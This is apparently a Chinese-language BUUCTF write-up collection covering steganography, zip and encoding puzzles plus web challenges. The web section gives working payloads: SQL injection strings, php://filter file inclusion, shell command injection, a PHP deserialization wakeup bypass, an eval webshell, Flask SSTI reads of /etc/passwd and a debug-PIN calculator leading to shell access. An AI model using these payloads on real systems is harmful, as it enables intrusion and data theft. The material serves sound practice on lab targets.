BUUCTF WriteUp

Misc

F5隐写+伪加密-刷新过的图片

刷新图片->F5隐写,得到压缩包是伪加密的,解压得到flag

bin流量分析-荷兰宽带泄露

宽带泄露,相关信息,用RouterPassView打开,username里是flag

playfair-cipher

秘钥为playfair

法语一般去掉w或k,德语则是把i和j合起来当成一个字母看待,英语中z使用最少,可以去掉它)。

本题ij合并,因此码表为:

playfirbcdeghkmnoqstuvwxz

得到ITISNOTAPROBLEMHAVEFUN

flag{itisnotaproblemhavefun}

exif-goodmusic

属性中有base64编码,解码后得到

Hisaishi

二进制信息直出-[HBNIS2018]excel破解

BUUCTF WriteUp - 图1

二进制信息直接有flag,坑

CTF{office_easy_cracked}

ntfs-喵喵喵

stegsolve查看,发现r/g/b0通道最顶上有异常。lsb查看一下,勾选rgb0通道,得到一个png文件。

保存后发现文件错误,查看二进制,把文件头还原成png文件头:89 50 4E 47。得到半张二维码,还原高度后得到完整二维码。

扫描后得到网盘地址,下载了一个flag.rar

解压后报错,但是得到了一个文件夹,文件夹里面只有一个flag.txt。题目故意给了一个文件夹。第一个想到了ntfs隐写,果然是:

BUUCTF WriteUp - 图2

pyc反编译

uncompyle6 -o aaa.py aaa.pyc

  1. import base64
  2. import string
  3. ciphertext = ['96', '65', '93', '123', '91', '97', '22', '93', '70', '102', '94', '132', '46', '112', '64', '97', '88', '80', '82', '137', '90', '109', '99', '112']
  4. ciphertext = ciphertext[::-1]
  5. result = ''
  6. for i in range(len(ciphertext)):
  7. for flag in string.printable:
  8. s = chr(i ^ ord(flag))
  9. if i % 2 == 0:
  10. s = ord(s) + 10
  11. else:
  12. s = ord(s) - 10
  13. if(ciphertext[i] == str(s)):
  14. result += flag
  15. break
  16. print(result)
  17. #flag{Y@e_Cl3veR_C1Ever!}

修补二进制-[ACTF新生赛2020]明文攻击(未做完)

解压后发现有一个图片和一个压缩包。图片二进制中有奇怪数据:

BUUCTF WriteUp - 图3

发现数据中有50 4B 01 02,是zip文件。但是zip头应该是50 4B 03 04才对,50 4B 01 02是zip包内部文件的文件头。

BUUCTF WriteUp - 图4

于是补齐文件头。archpr明文攻击。

结果跑了很久都没出,仔细一看,虽然flag.txt的crc32相同,但是压缩后的大小都不同!而且res.zip包压缩率是170%多。

流量十六进制导出文件-菜刀666

流量包分析,流9最后看起来是zip数据

BUUCTF WriteUp - 图5

把16进制数据复制出来,找到zip头504b0304,前面的数据全部删除,保存为.zip。

得到一个压缩包,压缩包备注为:well,you need passwd!

然后爆破了一下弱口令,没有找到密码。于是继续看流量包。

流量7有一长段数据,其中z3开头是ffd9,是jpg的文件头。所以通过z3参数传入了一个jpg。同上把数据复制出来,导出为jpg。得到密码:

BUUCTF WriteUp - 图6

Th1s1s_p4sswd!!!

解压得到flag:flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

二维码-[BJDCTF 2nd]EasyBaBa(存在疑问)

题目是一张非常大的图片,肯定包含了其他文件。于是分离出了一个zip,解压开发现另一个很大的jpg文件。于是查看16进制发现是avi。改后缀后得到一个视频。

视频里有一段切换的非常快,用potplayer按帧查看(按f看下一帧,按d看上一帧)。

找到了一个灰色不清晰的二维码,于是放到photoshop中调整曲线对比度,从而识别:

BUUCTF WriteUp - 图7

16进制转成文本以后得到:’ove_Y’

看起来只是flag其中的一段。继续查看,又得到三个二维码:’agin_l’,’BJD{im’,最后一个无法识别。

BUUCTF WriteUp - 图8

按顺序依次是:

BJD{imagin_Iove_Y1ng}

MP3摩斯密码-[SWPU2019]神奇的二维码

binwalk -e分离了四个文件

  1. encode.txt:YXNkZmdoamtsMTIzNDU2Nzg5MA==

base64解码后得到:asdfghjkl1234567890

  1. 一张图片和一个压缩包

  2. 一个flag.doc文件,里面有一长段base64字符
    试着解压了一下,发现需要反复用base64decode。于是写了个脚本解密:

    1. import base64
    2. with open(r'D:\code\ctf\题库\buuctf题目\misc\[SWPU2019]神奇的二维码\flag.txt','rb') as f:
    3. f = f.read()
    4. cipher = f
    5. for i in range(100):
    6. cipher = base64.b64decode(cipher)
    7. print(cipher)
    8. if(b'flag' in cipher):
    9. print(cipher)
    10. break
    11. #b'comEON_YOuAreSOSoS0great'
  1. 用3中得到的字符,可以解压最后一个压缩包。得到一段mp3,一听就是摩斯密码。
-- --- .-. ... . .. ... ...- . .-. -.-- ...- . .-. -.-- . .- ... -.-- 
#morseisveryveryeasy

波形比较简单,也可以用工具直接分析:

morse2ascii good.wav

BUUCTF WriteUp - 图9

flag{morseisveryveryeasy}

二进制脑洞-[BJDCTF 2nd]Real_EasyBaBa

二进制文件中这一块有问题

BUUCTF WriteUp - 图10

BUUCTF WriteUp - 图11

BJD{572154976}

独特的base64隐写-[ACTF新生赛2020]base64隐写

打开后发现一个文件,里面每一张都经过base64隐写两次。因此写程序还原,得到了一段c代码.

解码后发现代码中存在一些乱码。百度后才知道是一种特殊的base64隐写

注意到base64decode的时候,会在原有基础上删除’=’个数*8bit的字符,而实际上如果’=’在程序中只占用6bit。

因此每一个‘=’号可以隐藏2bit数据。

BUUCTF WriteUp - 图12

注意到flag.txt中有这样的数据,实际上就是改写了最后几位

BUUCTF WriteUp - 图13

import base64
bin_str=''
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open(r'D:\code\ctf\题库\buuctf题目\misc\[ACTF新生赛2020]base64隐写\tmp\近在眼前\ComeOn!.txt','r') as f:
    for line in f.readlines():
        stegb64="".join(line.split())
        rowb64="".join(str(base64.b64encode(base64.b64decode(stegb64)),'utf-8').split())
        offset=abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum=line.count('=')
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
    print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0,len(bin_str),8)]))
#ACTF{6aseb4_f33!}

ntfs-[ACTF新生赛2020]NTFS数据流

解压后ntfsStreamEditor2软件扫描即可。

ACTF{AAAds_nntfs_ffunn?}

凯撒加密-[HBNIS2018]caesar

flag{flagiscaesar}

词频分析-[GXYCTF2019]gakki

  • 分离图片得到压缩包,

  • 暴力破解得到密码8864

  • 压缩包内有flag.txt,有很长的一段混乱字符。
    进行字频统计: ```python alphabet = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- ={}[]” f = open(r”D:\code\ctf\题库\buuctf题目\misc[GXYCTF2019]gakki\00000268\flag.txt”, “r”) #选择你要分析的文件 data = f.read() result = {d:0 for d in alphabet}

def sort_by_value(d): items = d.items() backitems = [[v[1],v[0]] for v in items] backitems.sort(reverse=True) return [ backitems[i][1] for i in range(0,len(backitems))]

for d in data: for alpha in alphabet: if d == alpha: result[alpha] = result[alpha] + 1

print(sort_by_value(result))


<br />得到词频最高的就是flag:GXY{gaki_IsMyw1fe}


<a name="fbaa7c80"></a>
### 循环解压-[BJDCTF 2nd]TARGZ-y1ng

第一个压缩包文件名为‘hW1ES89jF.tar.gz’,尝试后发现用'hW1ES89jF'即可解压。

结果发现里面还有好多重压缩,用python的zipfile模块破解之

```python
import zipfile,os
from time import *
def unzip(zipname):
    while True:
        rmfilename = zipname
        passwd = zipname.split('.')[0]
        r = zipfile.is_zipfile(zipname)
        if r:
            zf = zipfile.ZipFile(zipname,'r')
            zf.extractall(pwd=passwd.encode())
            zipname = zf.namelist()[0]
        else:
            print('over')
            zf.close() 
            break
        zf.close()            
        sleep(0.05)
        os.remove(rmfilename)
unzip("hW1ES89jF.tar.gz")

BJD{wow_you_can_rea11y_dance}

编码方式-[SWPU2019]伟大的侦探

打开发现txt文件:

BUUCTF WriteUp - 图14

010editor选用如下编码:

BUUCTF WriteUp - 图15

wllm_is_the_best_team!

解压后是跳舞的小人:

BUUCTF WriteUp - 图16

联想标题:

BUUCTF WriteUp - 图17

找到码表:

BUUCTF WriteUp - 图18

flag{iloveholmesandwllm}

脚本zip读取,crc32-zip

hint:拼在一起解下base64就有flag

打开发现有67个包,但是每个包都有密码。仔细看发现每个包的文件大小都很小,只有4byte。因此可以用crc32碰撞,得到数据后组合起来,用base64decode即可。

#coding:utf-8
import zipfile
import string
import binascii

def CrackCrc(crc):
    for i in dic:
        for j in dic:
            for p in dic:
                for q in dic:
                    s = i + j + p + q
                    if crc == (binascii.crc32(s.encode()) & 0xffffffff):
                        print(s)
                        f.write(s)
                        return

def CrackZip():
    for I in range(67):
        file = 'out' + str(I) + '.zip'
        f = zipfile.ZipFile(file, 'r')
        GetCrc = f.getinfo('data.txt')
        crc = GetCrc.CRC
        #以上3行为获取压缩包CRC32值的步骤
        #print hex(crc)
        CrackCrc(crc)

dic = string.ascii_letters + string.digits + '+/='

f = open('out.txt', 'w')
CrackZip()
f.close()

运行后得到:

z5BzAAANAAAAAAAAAKo+egCAIwBJAAAAVAAAAAKGNKv+a2MdSR0zAwABAAAAQ01UCRUUy91BT5UkSNPoj5hFEVFBRvefHSBCfG0ruGnKnygsMyj8SBaZHxsYHY84LEZ24cXtZ01y3k1K1YJ0vpK9HwqUzb6u9z8igEr3dCCQLQAdAAAAHQAAAAJi0efVT2MdSR0wCAAgAAAAZmxhZy50eHQAsDRpZmZpeCB0aGUgZmlsZSBhbmQgZ2V0IHRoZSBmbGFnxD17AEAHAA==

base64decode后有很多不可见字符。导入010editor可以看到信息(其实直接解码也可以看到)

BUUCTF WriteUp - 图19

然后这个文件有rar文件尾,没有文件头,补齐即可

rar文件: 52 61 72 21 1A 07 00 CF 90 73
rar文件尾:C4 3D 7B 00 40 07 00

BUUCTF WriteUp - 图20

flag{nev3r_enc0de_t00_sm4ll_fil3_w1th_zip}

各种修复文件头-黑客帝国

给了一个txt文件,里面全是十六进制数据。注意到文件名也是一串十六进制。初步怀疑内部数据是一个压缩包,文件名就是解压密码。

hex->ascii,果然看到rar字样,用010editor导入该十六进制文档,保存为rar.

BUUCTF WriteUp - 图21

rar包爆破得到密码3690

解压后得到一个损坏的png文件。

BUUCTF WriteUp - 图22

一般png后面是ihdr,jepg后面才是jfif

jpg文件头ffd8ff

png文件头89 50 4E 47

替换一下,成功打开图片拿到flag

BUUCTF WriteUp - 图23

flag{57cd4cfd4e07505b98048ca106132125}

中文电码、五笔-从娃娃抓起

hint:题目描述:伟人的一句话,标志着一个时代的开始。那句熟悉的话,改变了许多人的一生,为中国三十年来计算机产业发展铺垫了道路。两种不同的汉字编码分别代表了汉字信息化道路上的两座伟大里程碑。请将你得到的话转为md5提交,md5统一为32位小写。

第一种中文电码

中文电码反查汉字结果:

  • 0086:人 1562:工 2535:智 5174:能

第二种,五笔:

也要从娃娃抓起

提一句,hashcalc软件坑爹,中文的结果运算有错,以后还是放到python里跑。

BUUCTF WriteUp - 图24

flag{3b4b5dccd2c008fe7e2664bd1bc19292}

lsb(cloacked-pixel)-弱口令

题目给出一个压缩包,注意到压缩包的备注里隐藏了信息:

BUUCTF WriteUp - 图25

\t 代表制表符tab

替换为摩斯密码得到:HELL0FORUM

解压压缩包,得到一张图片。放到stegsolve中

BUUCTF WriteUp - 图26

这种形式,看起来是隐写。

原来是lsb隐写,要用(cloacked-pixel)解密,密码是弱口令123456

BUUCTF WriteUp - 图27

flag{jsy09-wytg5-wius8}

outguess-[ACTF新生赛2020]outguess

压缩包里有两个文件,flag.txt需要密码。另一个图片可以解压。

在图片exif信息中发现:公正民主公正文明公正和谐

BUUCTF WriteUp - 图28

解密为abc

题目标题为outguess,于是outguess解密,密码为abc,得到flag:

BUUCTF WriteUp - 图29

ACTF{gue33_Gu3Ss!2020}

D盾扫描-webshell后门

压缩包打开是个网站,放到d盾里扫描,发现如下文件:

BUUCTF WriteUp - 图30

flag{ba8e6c6f35a53933b871480bb9a9545c}

[V&N2020 公开赛]拉胯的三条命令(未做完)

hint:在参加网络安全大赛第二届世界巡回赛新加坡站一场与SP战队的比赛时,作为K&K战队主防手的你使用经典的“三条命令”检查端口封闭状况。可是这次比赛平台没有回显,你能查出来有哪些端口是开放的嘛?
请将开放端口按由小到大顺序写入flag中 如:开放1、22、234端口,flag{122234}

[SWPU2019]你有没有好好看网课(未做完)

打开后发现flag1.zip和flag3.zip,flag3.zip备注中提示密码为6位数字,爆破即可。得到:183792

Web

报错注入-[极客大挑战 2019]HardSQL

打开后提示sql注入,查看页面源代码:

BUUCTF WriteUp - 图31

发现是get两个参数username和password到check.php

因此可以直接用hackbar构造……/check.php?username=aaa&password=aaa,并执行就可以了。用burpsuite直接改数据也行。

然后开始注入,尝试加’、”

BUUCTF WriteUp - 图32

发现单引号有报错,双引号没有,没提示有括号,所以应该是普通单引号闭合的字符型注入点

BUUCTF WriteUp - 图33

出现这行字说明输入的被过滤,一个字符一个字符测试,发现如and/空格/union/select/=//**/等都被过滤了。

  • 报错注入—->爆数据库名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

BUUCTF WriteUp - 图34

得到数据库名geek
  • 爆表名:得到表名H4rDsq1
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=号

BUUCTF WriteUp - 图35

  • 爆列名:得到表名id/username/password
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上,语句不变改一下变量就行

BUUCTF WriteUp - 图36

  • 找到flag
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!

BUUCTF WriteUp - 图37

可是只显示了flag其中的一段。

剩下的用right()显示其他位数的

BUUCTF WriteUp - 图38

试了一下得到三段

flag{054a272b-b502-44b5-a7fa-a2

a272b-b502-44b5-a7fa-a22ba996591

fa-a22ba9965913}

去重拼贴起来得到:

flag{054a272b-b502-44b5-a7fa-a22ba9965913}

文件包含-[BSidesCF 2020]Had a bad day

打开以后 一个猫狗图片的网站:

BUUCTF WriteUp - 图39

扫描后台无结果,发现域名如下:

http://f55e4117-5ca3-47c2-bdb2-a27c6150240f.node3.buuoj.cn/index.php?category=woofers

category=xxx,有传参试试文件包含。

按开发来说,xxx没有后缀,可能是后端自动添加了.php,试试

BUUCTF WriteUp - 图40

果然category是文件读取,且后端自动添加了php后缀。试试category=index,结果无法读取。

于是用伪协议读取,得到源码的base64加密后内容。

?category=php://filter/read=convert.base64-encode/resource=index

有这么一段

if(isset($file))
{
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
        include ($file . '.php');
    }
    else{
        echo "Sorry, we currently only support woofers and meowers.";
    }
}

所以说一定category中要有woofers/meowers/index三者之一才不会报错

构造文件包含payload:

?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

get flag:

<!-- Can you read this flag? -->
<?php
 // flag{71aef4a4-4944-494f-b5a6-55a6d77a905b}
?>

伪随机数-[GWCTF 2019]枯燥的抽奖

打开是一个抽奖画面:

BUUCTF WriteUp - 图41

右键发现后台有一个check.php

BUUCTF WriteUp - 图42

能直接看到题目核心:

hRCD8Y9ITx
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

分析一下,就是题目提供了一个算法,在session中村一个随机数种子,然后生成一个20位的随机数,用于在字符串str_long1中取值(通过随机数确定下标)

然后网站告诉你前10位:hRCD8Y9ITx,可以根据其找出前10个随机数

要求输入完整的20位随机数,就可以得到flag

这题思路在于session固定,随机数的seed也固定。因此可以根据前10个随机数找到随机数种子,进而算出所有随机数。填入即可。

#先根据给出的字符串求出前十个随机数
strresult = 'hRCD8Y9ITx'
strlong = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result = []
shuru = ''
for i in range(len(strresult)):
    for j in strlong:
        if(strresult[i] == j):
            result.append(strlong.index(j))
            shuru = shuru + str(strlong.index(j)) + ' ' + str(strlong.index(j)) + ' 0 61 ' 
print(result)
print(len(strlong)-1)
#输出php-rand-master需要的格式
print(shuru)
[7, 53, 38, 39, 34, 60, 35, 44, 55, 23]
61
7 7 0 61 53 53 0 61 38 38 0 61 39 39 0 61 34 34 0 61 60 60 0 61 35 35 0 61 44 44 0 61 55 55 0 61 23 23 0 61

然后用随机数种子爆破程序(php_mt_seed-master)爆破。输入格式参照readme里的例子:

[产生的数最小值 产生的数最小值 min max]

BUUCTF WriteUp - 图43

然后用这个种子带入原来的php代码中,注意一定要用相对应的php版本才行:

BUUCTF WriteUp - 图44

得到flag:

BUUCTF WriteUp - 图45

flag{91bfeb4c-ebf8-4658-8436-2d36a26dd16a}

直接命令执行-[ACTF2020 新生赛]Exec

打开以后发现是一个ping功能页面,查看不到源代码,扫描后台也不太行。

BUUCTF WriteUp - 图46

考虑到题目比较简单,名字叫exec,似乎预示着网站这个功能是直接执行’ping 输入内容’

于是构造:ping 127.0.0.1;cat flag

BUUCTF WriteUp - 图47

得到flag:flag{a075b985-41cd-4154-8f27-188f9621303a}

header伪造-[极客大挑战 2019]Http

网页源代码发现一个secret.php

BUUCTF WriteUp - 图48

打开后提示:It doesn’t come from ‘https://www.Sycsecret.com

于是Refferer伪造

BUUCTF WriteUp - 图49

继续伪造浏览器:user-agent。结果继续提示:No!!! you can only read this locally!!!

继续伪造X-Forwarded-For

BUUCTF WriteUp - 图50

flag{35092010-23b1-470e-a4d0-2805f46e394f}

反序列化绕过wakeup-[极客大挑战 2019]PHP

提示有备份网站的习惯,扫描网站后台,得到www.zip包,源码泄露

核心代码如下:

#index.php中存在反序列化漏洞    
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){#需要跳过_wakeup
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {#password == 100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {#需要构造反序列化执行这一句。
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();          
        }
    }
}
?>

其实很简单,只要让class name中的username=’admin’,password=100,然后跳过__wakeup()即可

<?php 
class Name{
    private $username = 'admin';
    private $password = 100;
}
$q = new Name();
$q = serialize($q);
print($q.'<br/>');
print(urlencode($q))
?>

得到:

BUUCTF WriteUp - 图51

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

如何绕过__weakup 百度一下 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

BUUCTF WriteUp - 图52

在本题中,把name后面的数字改大即可。即让序列化中对象变量数大于实际的数量,就可以跳过wakeup。

把url后的编码中Name后数字2(%3A2%3)改为3(%3A3%3),即可得到flag:

flag{7b2aee34-9f8f-405c-859c-bdcd4801113d}

md5($pass,True)-[BJDCTF2020]Easy MD5

burpsuite抓包,发现hint: select * from ‘admin’ where password=md5($pass,true)

BUUCTF WriteUp - 图53

注意到这题md5有两个参数,查了一下手册:

参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式: TRUE - 原始 16 字符二进制格式 FALSE - 默认。32 字符十六进制数

所以不是常规的,16字符二进制格式会显示出各种字符、乱码等

ffifdyop经过md5(true)转换后,得到'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

‘select * from ‘admin’ where password=’or’xxxxxxxxxxxx’构造出来已经闭合了,会执行前面的条件

执行后跳转第二个网页。很简单的用数组绕过md5判断即可

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

?a[]=1&b[]=2,进入第三个网页

 <?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

同上,数组绕过

?param1[]=&param2[]=2

flag{9603d844-84e5-43bd-8af6-9309c09623d0}

数组数字弱比较-[极客大挑战 2019]BuyFlag

打开后发现有一个购买页面,页面内有好几个提示(一开始只想到了其中两个)

    ~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

password=’404a’绕过

另外两个提示:

Flag need your 100000000 money

    attention

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!! 

Only Cuit's students can buy the FLAG

结合上面提示,money=100000000

发现是无任何区别,搜索以后发现,原来是cookie中的问题,其实burpsuite抓包信息也能看出来:

BUUCTF WriteUp - 图54

结合前面的提示,一定要是cuit学生,改为user=1。从返回数据中得到新提示:

  • Nember lenth is too long

money删除几位后又得到新提示:

  • you have not enough money,loser

可以猜测后端是一个比较大小的判断,又要短,又要超过1000000。可以用数组永远大于数字这个特性来绕过。

a[]=x

a>100000000—>true

payload:money[]=x&password=404abc

于是得到flag:flag{c39afccc-d439-40f7-8d1c-b8ef11f4c032}

伪协议-[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  1. 第一层绕过text的要求,file_get_contents($text,’r’)===”welcome to the zjctf”

利用data伪协议:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

有的时候用php://input协议也行(注:enctype=”multipart/form-data” 的时候 php://input 是无效的。

BUUCTF WriteUp - 图55

  1. 绕过file要求:过滤了flag
    根据提示,读取useless.php。直接file=useless.php的话,虽然已经include相关文件,但是没有显示。用伪协议filter读取:
    file=php://filter/read=convert.base64-encode/resource=useless.php
    得到useless。php的内容:
    <?php  
    class Flag{  //flag.php  
     public $file;  
     public function __tostring(){  
         if(isset($this->file)){  
             echo file_get_contents($this->file); 
             echo "<br>";
         return ("U R SO CLOSE !///COME ON PLZ");
         }  
     }  
    }  
    ?>
    

反序列化,轻松拿到payload(只需要修改$file=’flag.php’然后序列化即可):

password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最后组合起来,特别注意这里要include(‘useless.php’),所以要改回来!!!

BUUCTF WriteUp - 图56

flag{0fb0128e-630e-4c7e-8be5-92079dddccea}

php7.3bypass-[GKCTF2020]CheckIN

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

代码还是比较好理解的,需要传入一个Ginkgo。

Ginkgo=cGhwaW5mbygpOw== #即phpinfo();转成base64。可以看到能显示phpinfo()

为什么传入phpinfo()反而不行?一定要有;符号

因为!!!:eval($a)其实内部会加上””,形如: @Eval(“phpinfo();”);

所以一定要有;才算是php的闭合语句,否则只是字符串!!!,所以在构造一句话木马的时候一定要写@Eval(“eval($_POST[“shell”]);”)这样的!!!否则只相当于执行了一个post语句。

发现disable_function中禁止了一部分函数使用:

BUUCTF WriteUp - 图57

先构造了eval($_POST[‘shell’]);一句话木马,连接后发现根目录下有一个readflag和flag,其中flag无法直接读取。

然后是bypass disable function,用github上的exploit:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php,在pwn("aaa")中填写需要执行的命令(在这里是"/readflag")

上传上去,然后在原来的eval中执行include(“exoloit.php地址”),即可执行/readflag

BUUCTF WriteUp - 图58

phtml上传-[ACTF2020 新生赛]Upload

没什么说的,注意这题大小写绕过可以上传,但是完全无法解析!!

.htaccess也可以上传,但是会被添加随机前缀,变成xxxxx.htaccess而失效

直接上传phtml后缀木马即可

phtml上传-[极客大挑战 2019]Upload

BUUCTF WriteUp - 图59

过滤了<?

随便试了一下,地址为:

http://bd0436ce-7821-4a14-b9b9-b6a8c2efc99d.node3.buuoj.cn/upload/aaa.phtml

flask/ssti/debugpin-[GYCTF2020]FlaskApp WriteUp

提示:失败是成功之母。解密界面输入码表之外的符号即可报错,发现进入了debug模式。

 #在其中一行报错中出现:File "/app/app.py", line 53, in decode
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

可以看到在decode页面下,用text传入base64加密后的语句,会被执行。但是有一个waf。

本题是想算ping的,实际上flask ssti可以直接执行命令:

ssti读取

先读取{{config}},发现;SECRET_KEY’: ‘s_e_c_r_e_t_k_e_y’

{{‘’.class.bases[0].subclasses()[75].init.globals[‘builtins‘]imp’+’ort.listdir(‘/‘)}}```

[‘bin’, ‘boot’, ‘dev’, ‘etc’, ‘home’, ‘lib’, ‘lib64’, ‘media’, ‘mnt’, ‘opt’, ‘proc’, ‘root’, ‘run’, ‘sbin’, ‘srv’, ‘sys’, ‘tmp’, ‘usr’, ‘var’, ‘this_is_the_flag.txt’, ‘.dockerenv’, ‘app’]

flask算pin

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

找到账号flaskweb

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}

找到machine-id:1408f836b0ca514d796cbf8960e45fa1

计算后发现有问题,结果原来是docker的machine-id在:/proc/self/cgroup中,是d97371de2fa4fea062fdc0bad2fb3f2d98a6aff396093c45f52ed7bfb63c1228

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}

找到mac地址:02:42:ae:00:49:ef,十进制为2485410351599

aaa.py绝对路径为:/usr/local/lib/python3.7/site-packages/flask/app.py

用脚本计算:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username /etc/passwd
    'flask.app',# modname固定
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))固定
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),debug界面可以看到
]
private_bits = [
    '2485410351599',# str(uuid.getnode()),  /sys/class/net/ens33/address##在/sys/class/net/eth0/address下,去掉分隔符转成十进制
    'd97371de2fa4fea062fdc0bad2fb3f2d98a6aff396093c45f52ed7bfb63c1228'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)
            ##636-659-400

于是getshell。根目录下找到flag:

>>> import os
>>> os.popen('ls').read()
'app.py\nstatic\ntemplates\n'
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nro  
>>> os.popen('ls ../../../').read()
'app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\nthis_is_the_flag.txt\ntmp\nusr\nvar\n'  
>>> os.popen('cat /this_is_the_flag.txt').read()
'flag{c89b4d96-e664-4530-8afe-8570b2138873}\n'

类型转换,弱比较-[WUSTCTF2020]朴实无华

robots.txt下有一个php页面提示,抓包访问后发现header中提示/fl4g.php,代码如下:

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
